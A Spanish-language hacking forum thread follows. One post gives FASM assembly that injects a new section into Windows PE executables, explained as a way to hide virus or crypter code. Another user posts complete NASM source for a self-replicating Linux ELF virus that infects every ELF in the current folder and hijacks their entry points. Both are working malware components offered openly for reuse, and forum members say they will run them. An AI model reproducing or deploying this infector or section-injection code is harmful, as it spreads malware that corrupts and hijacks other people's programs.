[Source] Añadir una sección

Pues como dice el título con esta función se puede añadir una sección nueva a un ejecutable para meter en ella lo que queramos (para un virus o un crypter os será útil

)

Se pueden reducir unos pocos bytes simplificando un poco el código, pero lo he dejado así para que se entiendan mejor los pasos que hay que seguir, bueno, ahí va:

Código

; Codigo para añadir una sección a un ejecutable by E0N
include 'H:\archivos de programa\fasm\include\win32ax.inc'
 
.code
start:
 
        stdcall AddSection, rutaAdd, nombreSec, 0x1000, 0xE0000020 ;CODE+MEM_EXECUTE+MEM_READ+MEM_WRITE
        invoke ExitProcess, 0
 
        rutaAdd   db 'H:\archivo.exe',0
        nombreSec db '.new',0
 
 
; Procedimiento que añade una sección a un archivo. Parametros:
; ruta        -> Ruta del archivo al que le añadiremos la sección
; nombre      -> El nombre de la nueva sección
; tam         -> Tamaño de la nueva sección (RawSize)
; propiedades -> Las caracteristicas de la sección
proc AddSection ruta, nombre, tam, propiedades
locals
   hFile      dd ?  ; Handle del archivo
   TamAr      dd ?  ; Tamaño del archivo+Tamaño sección nueva
   hMap       dd ?  ; Handle del archivo mapeado
   IB         dd ?  ; Desde donde se carga en memoria
 
   PE         dd ?  ; Puntero a PE\0\0
   UltSec     dd ?  ; Inicio de la sección a añadir (final de la última sección)
   VOffset    dd ?  ; El VirtualOfffset de la nueva sección
endl
 
     ; Guardamos los registros
     pusha
 
     ; Mapeamos el archivo en memoria con [tam] bytes de más
     invoke CreateFile, [ruta], GENERIC_READ+GENERIC_WRITE, FILE_SHARE_WRITE+FILE_SHARE_READ, 0, OPEN_EXISTING, 0,0
     mov [hFile], eax
     invoke GetFileSize, [hFile], 0
     add eax, [tam]
     mov [TamAr], eax
     invoke CreateFileMapping, [hFile], 0, PAGE_READWRITE, 0, [TamAr], 0
     mov [hMap], eax
     invoke MapViewOfFile, eax, FILE_MAP_ALL_ACCESS, 0, 0, 0
     mov [IB], eax
 
     ; Le restamos 0x28 al offset 0x3C y guardamos la posición actual del signature
     mov eax, [IB]
     sub dword[eax+0x3C], 0x28
     add eax, dword[eax+0x3C]
     mov [PE], eax
 
     ; Desplazamos las cabeceras 0x28 bytes
     mov esi, [PE]
     add esi, 0x28
     mov edi, [PE]
 
     xor ebx, ebx
     mov bx, word[esi+0x6]
     mov eax, 0x28
     mul ebx
     mov ecx, eax
     add ecx, 248
     push ecx
 
     rep movsb
 
     pop ebx
     add ebx, [PE]
     mov [UltSec], ebx
     invoke RtlZeroMemory, ebx, 0x28
 
     ; Calculamos el VirtualOffset de la nueva sección
     mov edi, [UltSec]
     sub edi, 0x28
     mov ebx, [PE]
 
     mov eax, dword[edi+8]  ; eax = VirtualSize+VirtualOffset+SectionAligement (redondeado)
     add eax, dword[edi+12]
     add eax, dword[ebx+0x38]
     and eax, 0xFFFFF000
     mov [VOffset], eax
 
 
     ; Añadimos la sección al section header
     mov eax, [PE]
     add eax, 0x6
     inc word[eax]
 
     invoke lstrlen, [nombre]
     invoke RtlMoveMemory, [UltSec], [nombre], eax ; Name
     mov edi, [UltSec]
     mov dword[edi+8],  0x00000000    ; VirtualSize
     mov eax, [VOffset]
     mov dword[edi+12], eax           ; VirtualOffset
     mov eax, [tam]
     mov dword[edi+16], eax           ; RawSize
     mov eax, [TamAr]
     sub eax, [tam]
     mov dword[edi+20], eax           ; RawOfset
     mov eax, [propiedades]
     mov dword[edi+36], eax           ; Propiedades
 
     ; Cambiamos el SizeOfImage
     mov eax, [PE]
     mov ebx, [tam]
     add dword[eax+0x50], ebx
 
     ; Liberamos memoria, restauramos los registros y volvemos
     invoke CloseHandle, [hFile]
     invoke CloseHandle, [hMap]
     invoke UnmapViewOfFile, [IB]
     popa
     ret
endp
 
.end start

Salu2 E0N

NOTA: Por el método que se emplea si se intentan añadir muchas secciones así el ejecutable quedará corrupto, es útil para añadir una o dos (más que suficientes por otra parte). Si se quieren añadir más habría que adoptar otro método. A lo mejor me animo y subo el código para hacerlo de la otra forma

Buen aporte... solo una duda un poco absurda:
Para que se añaden secciones a un ejecutable? No estoy metido mucho en esto :-[

Saludos

Pues por ejemplo vale para meterle código (generalmente para un virus) cambiar el EP para que apunte a la nueva sección y que sea lo primero que se ejecute. También se puede ampliar el tamaño de la última sección

Otro uso es meterle código de nuevo, encriptar el resto de secciones y usarlo a modo de crypter

Salu2 E0N

Me viene como anillo al dedo EON, todo lo que sean códigos con fasm por la poca documentación que hay sobre asm en español. Este source es muy interesante, creo que lo usaré mucho, jeje.
Saludos

¿Te interesa este mundo? Puedes aprender a programar en Visual Basic aquí y a programar Malware aquí

Ya que estamos con añadir secciones, pondré un code que hize tiempo que infectaba elfs añadiendo una sección en una program header sin usar. No todo va a ser windows

. Esto infectada todos los elfs de la carpeta donde estubiera.

Código:

BITS 32
GLOBAL main
SECTION .text

system EQU 0x80
standart_output EQU 1
read_and_write EQU 2
SEEK_SET EQU 0
SEEK_CUR EQU 1
SEEK_END EQU 2
new_line EQU 10

sys_exit EQU 1
sys_read EQU 3
sys_write EQU 4
sys_open EQU 5
sys_close EQU 6
sys_lseek EQU 19
sys_readdir EQU 89
sys_getcwd EQU 183

main:
pushad
pushfd
call Virus
popfd
popad
jmp Host

Virus:
Start:
pop eax
push eax

push ebp
mov ebp, esp
sub esp, 512

mov dword [ebp - 4], eax ;We have in [ebp - 4] the virtual address (delta offset) of the virus.

mov ecx, 256
lea ebx, [ebp - 256]
mov eax, sys_getcwd
int system

xor edx, edx
xor ecx, ecx
lea ebx, [ebp - 256]
mov eax, sys_open
int system
test eax, eax
js Exit
mov dword [ebp - 8], eax ;We have in [ebp - 8] the handle of current path.
jmp Find_file

Exit:
jmp Payload

Close_file:
mov ebx, [ebp - 12]
mov eax, sys_close
int system

Find_file:
lea ecx, [ebp - 274]
mov ebx, [ebp - 8]
mov eax, sys_readdir
int system
test eax, eax
jz Exit

mov ecx, read_and_write
lea ebx, [ebp - 264]
mov eax, sys_open
int system
test eax, eax
js Find_file
mov [ebp - 12], eax ;We have in [ebp - 12] the handle of the file we are going to check.

mov edx, 52
lea ecx, [ebp - 64]
mov ebx, [ebp - 12]
mov eax, sys_read
int system
test eax, eax
js Close_file

mov eax, [ebp - 64]
cmp eax, 0x464C457F
jnz Close_file

mov eax, [ebp - 60]
cmp eax, 0x00010101
jnz Close_file

mov ax, [ebp - 48]
cmp ax, 0x0002
jnz Close_file

mov eax, [ebp - 46]
cmp eax, 0x00010003
jnz Close_file

Infect_file:
mov cx, [ebp - 20]
test cx, cx
jz Close_file

mov eax, [ebp - 40]
mov [ebp - 16], eax ;We have in [ebp - 16] the entry point of the program.

and ecx, 0x0000FFFF
mov ebx, [ebp - 36]
mov [ebp - 20], ebx ;We have in [ebp - 20] the offset of the first program header.

Check_ph:
push ecx

mov edx, SEEK_SET
mov ecx, [ebp - 20]
mov ebx, [ebp - 12]
mov eax, sys_lseek
int system

mov edx, 32
lea ecx, [ebp - 52]
mov ebx, [ebp - 12]
mov eax, sys_read
int system
cmp dword [ebp - 52], 6
jz Unused_ph

add dword [ebp - 20], 32
pop ecx
loop Check_ph

jmp Close_file

Unused_ph:
mov edx, SEEK_END
mov ecx, 0
mov ebx, [ebp - 12]
mov eax, sys_lseek
int system
mov [ebp - 24], eax ;We have in [ebp - 24] the size of the file.

mov edx, End_virus - main
mov ecx, [ebp - 4]
sub ecx, 7
mov ebx, [ebp - 12]
mov eax, sys_write
int system

mov edx, SEEK_SET
mov ecx, [ebp - 24]
add ecx, 10
mov ebx, [ebp - 12]
mov eax, sys_lseek
int system

mov eax, [ebp - 16]
sub eax, 0x2000000E
sub eax, [ebp - 24]
mov [ebp - 28], eax

mov edx, 4
lea ecx, [ebp - 28]
mov ebx, [ebp - 12]
mov eax, sys_write
int system

mov edx, SEEK_SET
mov ecx, [ebp - 20]
mov ebx, [ebp - 12]
mov eax, sys_lseek
int system

mov eax, [ebp - 24]
add eax, End_virus - main

mov dword [ebp - 56], 0x00000001
mov dword [ebp - 52], 0x00000000
mov dword [ebp - 48], 0x20000000
mov dword [ebp - 44], 0x20000000
mov dword [ebp - 40], eax
mov dword [ebp - 36], eax
mov dword [ebp - 32], 0x00000007
mov dword [ebp - 28], 0x00001000

mov edx, 32
lea ecx, [ebp - 56]
mov ebx, [ebp - 12]
mov eax, sys_write
int system

mov edx, SEEK_SET
mov ecx, 24
mov ebx, [ebp - 12]
mov eax, sys_lseek
int system

mov eax, [ebp - 24]
add eax, 0x20000000
mov dword [ebp - 28], eax

mov edx, 4
lea ecx, [ebp - 28]
mov ebx, [ebp - 12]
mov eax, sys_write
int system

jmp Close_file

Payload:

mov dword [ebp - 76], 'Hi, '
mov dword [ebp - 72], 'this'
mov dword [ebp - 68], ' is '
mov dword [ebp - 64], 'a pr'
mov dword [ebp - 60], 'oof '
mov dword [ebp - 56], 'of c'
mov dword [ebp - 52], 'once'
mov dword [ebp - 48], 'pt v'
mov dword [ebp - 44], 'irus'
mov dword [ebp - 40], ', by'
mov dword [ebp - 36], ' Pur'
mov dword [ebp - 32], 'ple '
mov dword [ebp - 28], 'Cat:'
mov dword [ebp - 24], ' pur'
mov dword [ebp - 20], 'ple-'
mov dword [ebp - 16], 'cat@'
mov dword [ebp - 12], 'hotm'
mov dword [ebp - 8], 'ail.'
mov dword [ebp - 4], 'es' + new_line*256*256

mov edx, 75
lea ecx, [ebp - 76]
mov ebx, standart_output
mov eax, sys_write
int system

leave
ret

End_virus:

Host:
mov edx, 21
mov ecx, Host_message
mov ebx, standart_output
mov eax, sys_write
int system

mov eax, sys_exit
int system

SECTION .data
Host_message db "The host is running!", new_line

Gracias

dark_hat, muy interesante el código, por la estructura de linux (que usa elfs

) no tiene mucho sentido crear un virus, pero la verdad es que es muy interesante el código. Estoy intentándolo probarlo ahora mismo, que ensamblador has usado??

Salu2

Con NASM creo el fichero objeto y con GCC hago el elf. El código infecta los elfs de la carpeta actual cambiando una program header de tipo 6 por secciones ejecutables, añade al final del archivo el virus y carga en la nueva sección el arcvhivo entero.

Oks, ahora mismo lo pruebo entonces ^^

hard-h2o modding Foros de ayuda Yashira.org Videojuegos indetectables.net

Noticias Informatica Seguridad Informática ADSL Foros en español eNYe Sec

Todas las webs afiliadas están libres de publicidad engañosa.